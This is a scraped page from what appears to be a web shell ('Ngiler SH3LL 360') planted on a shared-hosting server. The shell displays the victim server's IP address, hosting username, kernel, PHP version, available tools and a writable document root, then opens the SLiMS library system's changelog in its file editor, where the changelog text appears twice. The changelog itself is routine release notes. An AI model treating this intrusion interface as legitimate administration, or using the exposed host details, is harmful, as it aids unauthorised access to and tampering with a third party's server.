#$@%#$%!

Ngiler SH3LL 360
: / var / softaculous / slims /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	63.250.38.10
System	Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User	likhxapw
PHP Version	8.3.30
Software	LiteSpeed
Doc root	Writable

Edit File : changelog.txt \| Size : 5.87 KB
SLiMS 9.7.2 (Bulian D Roger) ======================================================================== • Feature: Loan History Maintenance + menu integration. • Upgrade: Removed loan-history triggers; replaced with direct updates; Add submenu handling in upgrade flow. • UX: Clearer delete confirmations; defaulted withConfirm; switched form submit to blindSubmit; removed iframe submitExec. • Assets: Added missing Colorbox CSS/JS includes. • Reports: Improved procurement date handling (prioritize received_date) and validation. • Circulation: Refactored member info display for clarity. • Settings/I18n: Improved language selection; load global settings from DB. • Access Control/Menu: Tightened checks; added widespread submenu access; refactored submenu arrays to associative keys; fixed isAdmin path matching. SLiMS 9.7.1 (Bulian D Roger) ======================================================================== • Improved language selection handling and load of global settings from the database. • Improved CSRF token management with backward compatibility and more robust handling. • Modernized AJAX updater and related functions for better validation, error handling, and UX. • Stronger password policy enforcement for OPAC and admin/member areas. • Fixed CSV reader variable/initialization issues and improved CSV handling. • Hardened SQL queries in procurement reports to validate and exclude invalid dates. • Improvements to language selection and global settings loading. SLiMS 9.7 (Bulian D Roger) ======================================================================== Security - System security enhancements to protect data and application stability. • Comprehensive Security Patch: Patches SQL Injection and Stored XSS vulnerabilities, and enforces stronger password policies. • Server-Side Attack Prevention: Fixes potential Server-Side Request Forgery (SSRF) and SQL Injection vulnerabilities. • Upload Area Security: Improves .htaccess security. • Disables PHP5 script execution. • Sensitive Data Protection: Prevents direct access to hidden bibliographic details from the OPAC; hides credentials on error pages. • Cookie and Session Security: Default SecureCookie attribute for user session security. • Other Mitigations: Stripping EXIF data from uploaded images; fixed ModSecurity issue. ________________________________________ Feature Enhancements & Changes • Customization and Extensibility: Added Custom Fields for Items; Expanded plugin ecosystem with the ability to load third-party languages; register new menus, and support for plugin modules. • Added new hooks to the system: login process, OAI, and deeper system customization configuration. • Support for custom OPAC templates. • Database and Data Management: Implemented the ability to connect to multiple databases simultaneously, added a file migration feature to another server, and configured the Copy Cataloging feature. • Development Environment: Docker support. • User Interface and Experience (UI/UX): Implemented a "Debug Box" to display debug information in a more structured manner, improved AJAX dropdown performance, and added a progress button for the data import process. ________________________________________ Bug Fixes • Data Import: Fixed various issues during the import process of bibliographic data (including MARC format) and membership, and fixed a bug where the import preview did not match the selected column separator. • Application Stability: Fixed "undefined variable," "undefined key," or "undefined offset" errors in various modules. • Data Management: Addressed issues with author and subject orphaned data deletion, the deletion process in the GMD module, the visit space, and backup files. • Module Functionality: Improved LDAP authentication functionality, resolved barcode label plugin compatibility, and improved filtering and updating borrowing history table. • System and Configuration: Fixed errors for large file upload, addressed incorrect URLs when running behind a web proxy, and resolved schema and multi-instance connection issues in PDO. ________________________________________ Other • Dependency Updates: Updated external libraries such as gettext, PHPSpreadsheet, league/flysystem, and symfony/var-dumper. • Refactoring and Code Quality Improvements: Refactored the registerAutoload strategy and form handling with the FormAjax class. • Documentation: Added and updated documentation for the Polyglot feature, Actions, and Docker commands. SLiMS 9.6.1 (Bulian) ======================================================================== Add : CSP Manager Add : CSV import sample Add : Clickable label element at input radio and checkbox Add : CSV Import Sample for Biblio, Item, & Member data Fixed : CJK (Chinese, Japanese, and Korean) character in E-Mail content Fixed : Bug in stock opname resync Fixed : MARC SRU Perpusnas RI Fixed : SSRF & LFI vulnerability Fixed : re-run session Fixed : unmatch column type at mst_visitor_room SLiMS 9.6.0 (Bulian) ======================================================================== Added : CSV import preview Added : Due date warning email notification Added : Storage library Added : Console feature Added : 2FA at admin login page Added : Configuration for multiple databases Added : Room location visitor counter Added : Captcha configuration user interface Added : Backup database notification Added : PHP 8 for minimum requirement Fixed : Zero existing items for stock opname report Fixed : Compatibility with MySQL 8 Fixed : Loan by classification reporting query Fixed : OAIPMH for GetRecord SLiMS 9.5.2 (Bulian) ======================================================================== Added : Bookmark for biblio data Added : Share option for biblio data Added : Version number for OPAC static file Added : Session Factory to handle custom session configuration Fixed : Invalid Form Login Fixed : Full text search in SearchEngineBiblio Back

Edit File : changelog.txt | Size : 5.87 KB

SLiMS 9.7.2 (Bulian D Roger)
========================================================================
• Feature: Loan History Maintenance + menu integration.
• Upgrade: Removed loan-history triggers; replaced with direct updates; Add submenu handling in upgrade flow.
• UX: Clearer delete confirmations; defaulted withConfirm; switched form submit to blindSubmit; removed iframe submitExec.
• Assets: Added missing Colorbox CSS/JS includes.
• Reports: Improved procurement date handling (prioritize received_date) and validation.
• Circulation: Refactored member info display for clarity.
• Settings/I18n: Improved language selection; load global settings from DB.
• Access Control/Menu: Tightened checks; added widespread submenu access; refactored submenu arrays to associative keys; fixed isAdmin path matching.

SLiMS 9.7.1 (Bulian D Roger)
========================================================================
• Improved language selection handling and load of global settings from the database.
• Improved CSRF token management with backward compatibility and more robust handling.
• Modernized AJAX updater and related functions for better validation, error handling, and UX.
• Stronger password policy enforcement for OPAC and admin/member areas.
• Fixed CSV reader variable/initialization issues and improved CSV handling.
• Hardened SQL queries in procurement reports to validate and exclude invalid dates.
• Improvements to language selection and global settings loading.

SLiMS 9.7 (Bulian D Roger)
========================================================================
Security - System security enhancements to protect data and application stability.
• Comprehensive Security Patch: Patches SQL Injection and Stored XSS vulnerabilities, and enforces stronger password policies.
• Server-Side Attack Prevention: Fixes potential Server-Side Request Forgery (SSRF) and SQL Injection vulnerabilities.
• Upload Area Security: Improves .htaccess security.
• Disables PHP5 script execution.
• Sensitive Data Protection: Prevents direct access to hidden bibliographic details from the OPAC; hides credentials on error pages.
• Cookie and Session Security: Default SecureCookie attribute for user session security.
• Other Mitigations: Stripping EXIF data from uploaded images; fixed ModSecurity issue.
________________________________________
Feature Enhancements & Changes
• Customization and Extensibility: Added Custom Fields for Items; Expanded plugin ecosystem with the ability to load third-party languages; register new menus, and support for plugin modules.
• Added new hooks to the system: login process, OAI, and deeper system customization configuration.
• Support for custom OPAC templates.
• Database and Data Management: Implemented the ability to connect to multiple databases simultaneously, added a file migration feature to another server, and configured the Copy Cataloging feature.
• Development Environment: Docker support.
• User Interface and Experience (UI/UX): Implemented a "Debug Box" to display debug information in a more structured manner, improved AJAX dropdown performance, and added a progress button for the data import process.
________________________________________
Bug Fixes
• Data Import: Fixed various issues during the import process of bibliographic data (including MARC format) and membership, and fixed a bug where the import preview did not match the selected column separator.
• Application Stability: Fixed "undefined variable," "undefined key," or "undefined offset" errors in various modules.
• Data Management: Addressed issues with author and subject orphaned data deletion, the deletion process in the GMD module, the visit space, and backup files.
• Module Functionality: Improved LDAP authentication functionality, resolved barcode label plugin compatibility, and improved filtering and updating borrowing history table.
• System and Configuration: Fixed errors for large file upload, addressed incorrect URLs when running behind a web proxy, and resolved schema and multi-instance connection issues in PDO.
________________________________________
Other
• Dependency Updates: Updated external libraries such as gettext, PHPSpreadsheet, league/flysystem, and symfony/var-dumper.
• Refactoring and Code Quality Improvements: Refactored the registerAutoload strategy and form handling with the FormAjax class.
• Documentation: Added and updated documentation for the Polyglot feature, Actions, and Docker commands.

SLiMS 9.6.1 (Bulian)
========================================================================
Add : CSP Manager
Add : CSV import sample
Add : Clickable label element at input radio and checkbox
Add : CSV Import Sample for Biblio, Item, & Member data
Fixed : CJK (Chinese, Japanese, and Korean) character in E-Mail content
Fixed : Bug in stock opname resync
Fixed : MARC SRU Perpusnas RI
Fixed : SSRF & LFI vulnerability
Fixed : re-run session
Fixed : unmatch column type at mst_visitor_room

SLiMS 9.6.0 (Bulian)
========================================================================
Added : CSV import preview
Added : Due date warning email notification
Added : Storage library
Added : Console feature
Added : 2FA at admin login page
Added : Configuration for multiple databases
Added : Room location visitor counter
Added : Captcha configuration user interface
Added : Backup database notification
Added : PHP 8 for minimum requirement
Fixed : Zero existing items for stock opname report
Fixed : Compatibility with MySQL 8
Fixed : Loan by classification reporting query
Fixed : OAIPMH for GetRecord

SLiMS 9.5.2 (Bulian)
========================================================================
Added : Bookmark for biblio data
Added : Share option for biblio data
Added : Version number for OPAC static file
Added : Session Factory to handle custom session configuration
Fixed : Invalid Form Login
Fixed : Full text search in SearchEngineBiblio

Back